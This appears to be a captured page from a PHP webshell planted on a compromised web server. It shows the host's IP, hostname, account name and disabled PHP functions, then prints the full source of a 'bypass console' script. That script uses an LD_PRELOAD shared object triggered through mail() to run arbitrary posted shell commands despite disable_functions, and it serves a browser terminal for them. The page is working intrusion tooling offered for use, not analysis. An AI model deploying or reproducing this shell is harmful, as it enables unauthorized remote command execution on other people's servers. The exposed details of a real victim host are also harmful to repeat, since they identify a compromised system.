403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/public_html/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/public_html/assets//terminal.php
<?php
/**
 * ANTIGRAVITY // BYPASS CONSOLE v1.0
 * Optimized for PHP 5.3 + LD_PRELOAD
 */

$so_path = "/tmp/s.so";
$out_file = "/tmp/.out_".time();

// 1. HANDLE COMMAND EXECUTION (AJAX)
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $dir = isset($_POST['dir']) ? $_POST['dir'] : getcwd();
    
    // Setup Bypass Environment
    putenv("EVIL_CMDLINE=cd $dir && $cmd > $out_file 2>&1");
    putenv("LD_PRELOAD=$so_path");
    
    // Trigger
    @error_log("a", 1, "b@localhost");
    @mail("a@b.com", "s", "m");
    
    // Return Output
    $output = @file_get_contents($out_file);
    @unlink($out_file);
    echo $output ? $output : "[No output / Command failed]";
    exit;
}

// 2. RENDER GUI
?>
<!DOCTYPE html>
<html>
<head>
    <title>BYPASS CONSOLE</title>
    <style>
        body { background: #0a0a0a; color: #00ff41; font-family: 'Monaco', 'Consolas', monospace; margin: 0; padding: 20px; }
        #header { border-bottom: 1px solid #333; padding-bottom: 10px; margin-bottom: 20px; color: #fff; font-size: 14px; }
        #console { background: #000; border: 1px solid #333; padding: 15px; min-height: 400px; border-radius: 5px; box-shadow: 0 0 20px rgba(0,255,65,0.05); }
        #output { white-space: pre-wrap; margin-bottom: 10px; line-height: 1.4; color: #cccccc; height: 500px; overflow-y: auto; }
        #input-line { display: flex; align-items: center; }
        #prompt { margin-right: 10px; color: #00ff41; font-weight: bold; }
        #cmd { background: transparent; border: none; color: #fff; font-family: inherit; font-size: 16px; flex: 1; outline: none; }
        .loading { color: #888; font-style: italic; }
        ::-webkit-scrollbar { width: 8px; }
        ::-webkit-scrollbar-thumb { background: #333; border-radius: 10px; }
    </style>
</head>
<body>
    <div id="header">
        <strong>ANTIGRAVITY // BYPASS CONSOLE v1.0</strong> | System: <?php echo php_uname(); ?> | PHP: <?php echo PHP_VERSION; ?>
    </div>
    <div id="console">
        <div id="output">Welcome to the Bypassed Console. All commands are routed through LD_PRELOAD bypass.
Type your commands below.</div>
        <div id="input-line">
            <span id="prompt">$</span>
            <input type="text" id="cmd" autofocus autocomplete="off">
        </div>
    </div>

    <script>
        var input = document.getElementById('cmd');
        var output = document.getElementById('output');
        var dir = "<?php echo addslashes(getcwd()); ?>";

        input.addEventListener('keydown', function(e) {
            if (e.key === 'Enter') {
                var command = input.value;
                input.value = '';
                runCommand(command);
            }
        });

        function runCommand(command) {
            output.innerHTML += "\n<span style='color:#00ff41'>$ " + command + "</span>\n";
            output.scrollTop = output.scrollHeight;

            var xhr = new XMLHttpRequest();
            xhr.open('POST', '', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    output.innerHTML += xhr.responseText;
                    output.scrollTop = output.scrollHeight;
                }
            };
            xhr.send('cmd=' + encodeURIComponent(command) + '&dir=' + encodeURIComponent(dir));
        }
    </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit